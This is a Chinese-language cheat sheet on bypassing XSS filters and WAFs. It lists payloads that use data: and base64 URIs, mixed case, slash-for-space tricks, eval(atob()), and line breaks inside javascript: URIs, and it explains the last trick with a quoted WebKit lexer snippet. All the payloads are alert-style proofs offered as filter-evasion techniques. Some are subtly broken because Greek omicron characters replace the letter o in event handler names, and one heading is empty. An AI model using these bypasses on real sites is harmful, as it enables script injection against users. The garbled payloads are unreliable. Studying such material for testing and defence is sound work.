XSS Bypass:
脚本标签:
<object data=”data:text/html,<script>alert(1)</script>”>
<object data=”
data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>
<a href=”
data:text/html;base64,Jmx0O3NjcmlwdCZndDthbGVydCgxKSZsdDsvc2NyaXB0Jmd0Ow==”>xss</a>
脚本伪协议:
标签名称:
<iMg οnerrοr=alert(1) src=a>
对标签名陈稍做修改,可以避开仅仅阻止特定标签名陈的过滤:
<x οnclick=alert(1) src=a>xss</x>
站在webkit角度来说XSS:
是因为各个代码的功能是由浏览器来解析的。那浏览器中谁又负责解析呢?那就是webkit, 既然要说到webkit,那就不得不提webkit下的解析器——词法分析器,因为我们在绕过的时候,就是利用解析器中的词法分析器来完成。
就比如一个简单的绕过WAF的XSS代码:
<iframe src="java
script:alert(1)" height=0 width=0 /><iframe>
<!--Java和script是回车,al和ert是Tab换行符-->
他可以弹窗,可以为什么他可以弹窗呢?这里面有回车、换行符啊。想要理解,我们来看看webkit下的Source/javascriptcore/parser/lexer.cpp是怎么声明的吧。
while (m_current != stringQuoteCharacter) {
if (UNLIKELY(m_current =='\\')) {
if (stringStart != currentSourcePtr() && shouldBuildStrings)
append8(stringStart, currentSourcePtr() - stringStart);
shift();
LChar escape = singleEscape(m_current); // Most common escape sequences first
if (escape) {
if (shouldBuildStrings)
record8(escape);
shift();
} else if (UNLIKELY(isLineTerminator(m_current)))
shiftLineTerminator();
注意倒数第二行里的isLineTerminator函数。这里我来说说大致的意思:所有的内容都在一个字符串里,用while逐字解析,遇到换行就跳过。然后在拼成一个没有分割符的字符串,所以这时的XSS代码成功弹窗了。
Webkit里的词法分析器里除了跳过换行符,还会跳过什么字符呢?
子曰:还有回车等分隔符。
根据webkit词法分析器的机制,我们就可以写更多的猥琐xss代码。
下面再说说这个注意事项:
因为在webkit的词法分析器里,跳过回车、换行等分隔符时有个前提,那就是必须用单/双引号围住,不然不会跳过。
因为如果不使用引号,词法分析器会认为 回车、换行就是结束了,如果你运行上面这段代码,webkit会把Java当做地址传给src。词法分析器跳过的前提就是建立在引号里的,切记。
这里在说一个:
回车、换行只在属性中引号里才会起作用。如果你对标签或者属性用 回车、换行,这时你大可放心,决对不会弹窗。而且在属性值里 回车、换行随便用。如果空格出现在xss代码里并不会弹窗,但是如果出现在字符和符号之前,就可以弹了。如图:
注意事项:
跳过回车和换行,不支持on事件。例如下面的代码
`<a href="javascript:alert(1)">xss</a>`会弹窗,但是下面的代码就不行了
`<a href="#" onclick="alert(1)">s</a>`
可见加了Tab换行,就无法弹窗了。但是还是支持字符和符号之间加入空格的。
本节就是告诉大家,想要玩的更好,最好追溯到底层,从底层来看攻击手法,你会发现很多问题迎刃而解。
/ 代替空格
<svg/onload=alert(1)>
使用eval执行。 atob进行解码
<img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'>
大小写
<iMg SrC=x OnErRoR=alert(1)>